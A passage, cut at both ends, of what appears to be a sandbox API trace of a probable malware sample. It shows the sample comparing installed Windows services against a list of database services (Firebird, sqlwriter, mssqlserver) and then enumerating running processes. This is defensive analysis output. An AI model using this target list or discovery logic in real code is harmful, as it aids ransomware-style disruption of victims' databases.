(lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0159.062] lstrlenW (lpString="CDPSvc") returned 6 [0159.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0159.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0159.062] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0159.062] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0159.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0159.062] lstrlenW (lpString="ClickToRunSvc") returned 13 [0159.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.062] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0159.062] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0159.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0159.062] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0159.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.062] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0159.062] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0159.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0159.062] lstrlenW (lpString="CryptSvc") returned 8 [0159.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.062] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.062] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.062] lstrlenW (lpString="DcomLaunch") returned 10 [0159.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.063] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.063] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.063] lstrlenW (lpString="DeviceAssociationService") returned 24 [0159.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.063] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0159.063] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0159.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0159.063] lstrlenW (lpString="Dhcp") returned 4 [0159.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.063] lstrlenW (lpString="Dnscache") returned 8 [0159.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.063] lstrlenW (lpString="DPS") returned 3 [0159.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.063] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.063] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.063] lstrlenW (lpString="DsmSvc") returned 6 [0159.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0159.064] lstrlenW (lpString="DusmSvc") returned 7 [0159.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0159.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0159.064] lstrlenW (lpString="EventLog") returned 8 [0159.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0159.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0159.064] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0159.064] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0159.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0159.064] lstrlenW (lpString="EventSystem") returned 11 [0159.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.064] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.064] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.064] lstrlenW (lpString="FontCache") returned 9 [0159.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0159.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0159.064] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0159.064] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0159.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0159.064] lstrlenW (lpString="gpsvc") returned 5 [0159.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.065] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.065] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.065] lstrlenW (lpString="iphlpsvc") returned 8 [0159.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.065] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.065] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.065] lstrlenW (lpString="KeyIso") returned 6 [0159.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0159.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0159.065] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0159.065] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0159.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0159.065] lstrlenW (lpString="LanmanServer") returned 12 [0159.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.065] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.065] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.065] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.065] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.065] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.065] lstrlenW (lpString="lfsvc") returned 5 [0159.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0159.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0159.065] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0159.066] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0159.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0159.066] lstrlenW (lpString="lmhosts") returned 7 [0159.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.066] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.066] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.066] lstrlenW (lpString="LSM") returned 3 [0159.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0159.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0159.066] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0159.066] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0159.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0159.066] lstrlenW (lpString="MpsSvc") returned 6 [0159.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.066] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.066] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.066] lstrlenW (lpString="NcbService") returned 10 [0159.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0159.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0159.066] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0159.066] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0159.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0159.066] lstrlenW (lpString="netprofm") returned 8 [0159.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.066] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.066] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.067] lstrlenW (lpString="NgcSvc") returned 6 [0159.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0159.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0159.067] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0159.067] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0159.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0159.067] lstrlenW (lpString="NlaSvc") returned 6 [0159.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.067] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.067] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.067] lstrlenW (lpString="nsi") returned 3 [0159.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.067] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.067] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.067] lstrlenW (lpString="PcaSvc") returned 6 [0159.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.067] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.067] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.067] lstrlenW (lpString="PlugPlay") returned 8 [0159.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.067] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.067] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.068] lstrlenW (lpString="Power") returned 5 [0159.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0159.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.068] lstrlenW (lpString="ProfSvc") returned 7 [0159.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.068] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.068] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.068] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.068] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0159.068] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.068] lstrlenW (lpString="RpcSs") returned 5 [0159.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.068] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.068] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.068] lstrlenW (lpString="SamSs") returned 5 [0159.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.068] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.068] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.069] lstrlenW (lpString="Schedule") returned 8 [0159.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.069] lstrlenW (lpString="SecurityHealthService") returned 21 [0159.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0159.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0159.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0159.069] lstrlenW (lpString="SENS") returned 4 [0159.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.069] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.069] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.069] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.069] lstrlenW (lpString="Spooler") returned 7 [0159.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.070] lstrlenW (lpString="StateRepository") returned 15 [0159.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0159.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0159.070] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0159.070] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0159.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0159.070] lstrlenW (lpString="SysMain") returned 7 [0159.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0159.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0159.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0159.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0159.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0159.070] lstrlenW (lpString="SystemEventsBroker") returned 18 [0159.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0159.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0159.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0159.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0159.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0159.070] lstrlenW (lpString="Themes") returned 6 [0159.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0159.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0159.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0159.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0159.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0159.070] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0159.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0159.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0159.070] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0159.070] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0159.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x801ee8 | out: hHeap=0x710000) returned 1 [0159.071] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0159.076] Process32FirstW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.276] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.277] lstrlenW (lpString="System") returned 6 [0159.277] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.278] lstrlenW (lpString="smss.exe") returned 8 [0159.278] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.279] lstrlenW (lpString="csrss.exe") returned 9 [0159.279] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.280] lstrlenW (lpString="wininit.exe") returned 11 [0159.280] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.281] lstrlenW (lpString="csrss.exe") returned 9 [0159.281] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0159.282] lstrlenW (lpString="winlogon.exe") returned 12 [0159.282] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0159.282] lstrlenW (lpString="services.exe") returned 12 [0159.283] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0159.283] lstrlenW (lpString="lsass.exe") returned 9 [0159.283] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.284] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.284] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.285] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.285] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.286] lstrlenW (lpString="svchost.exe") returned 11 [0159.286] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.286] lstrlenW (lpString="svchost.exe") returned 11 [0159.286] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, 